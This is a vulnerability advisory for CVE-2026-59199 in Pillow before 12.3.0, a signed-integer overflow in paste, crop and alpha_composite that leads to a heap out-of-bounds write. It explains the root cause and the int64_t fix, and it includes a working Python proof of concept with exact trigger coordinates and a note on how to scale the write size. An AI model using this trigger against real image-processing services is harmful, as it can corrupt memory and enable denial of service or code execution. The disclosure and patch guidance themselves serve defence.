high · 7.5CVE-2026-59199Jul 20, 2026

CVE-2026-59199: Pillow Heap Out-of-Bounds Write via Signed Coordinate Overflow

Rohit Hatagale
AI Security Researcher, SecureLayer7

Pillow's image paste, crop, and alpha_composite operations allow an attacker to trigger a heap out-of-bounds write by passing coordinate values near the signed 32-bit integer boundary, corrupting…

PackagePillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

In Pillow versions before 12.3.0, ImagingPaste() in src/libImaging/Paste.c computes region dimensions using signed 32-bit int arithmetic. With dx0 near INT_MAX and dx1 at INT_MIN, the subtraction dx1 - dx0 wraps around to a small positive value, passing the bounds check undetected.

The paste loop then multiplies the wrapped offset by pixelsize (4 for RGBA) and issues a memcpy that writes attacker-controlled pixel bytes before the destination row allocation. The same sink is reachable through Image.crop() and Image.alpha_composite() without any malformed file or private API.

Proof of concept

A working proof-of-concept for CVE-2026-59199 in Pillow, with the exact payload below.

python
from PIL import Image

INT_MIN = -(1 << 31)

# Minimal paste trigger: dx1 - dx0 wraps to 2, passes size check,
# then writes 8 bytes 8 bytes BEFORE the destination row allocation.
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

# Scale the underwrite: source width W -> writes 4*W bytes, 4*W bytes before row
# box = ((1 << 31) - W, 0, INT_MIN, 1)

# Same root cause via Image.crop()
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

# Same root cause via Image.alpha_composite()
base = Image.new("RGBA", (8, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(INT_MIN + 2, 0))

The root cause is CWE-190 (Integer Overflow) feeding CWE-787 (Out-of-bounds Write). Signed 32-bit int subtraction in Paste.c (xsize = dx1 - dx0) wraps when coordinates straddle INT_MIN/INT_MAX, producing a small positive size that satisfies every clip check.

The downstream memcpy then uses the unclipped dx0 value (still near INT_MAX, which after *= pixelsize wraps negative) as the byte offset into the destination row, writing before the allocation.

The patch (commit ceefc348) widens the subtraction to int64_t before any comparison: int64_t xsize64 = (int64_t)dx1 - dx0. Values outside [0, INT_MAX] are rejected with a ValueError before any copy occurs. The same promotion was applied to ImagingCrop() in Crop.c.

The fix

Upgrade Pillow to 12.3.0 or later (pip install 'Pillow>=12.3.0'). The fix in PR #9703 (commit ceefc348) changes coordinate-width arithmetic from signed int to int64_t in both Paste.c and Crop.c, rejecting any box whose computed size overflows or is negative before any memory operation is attempted.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research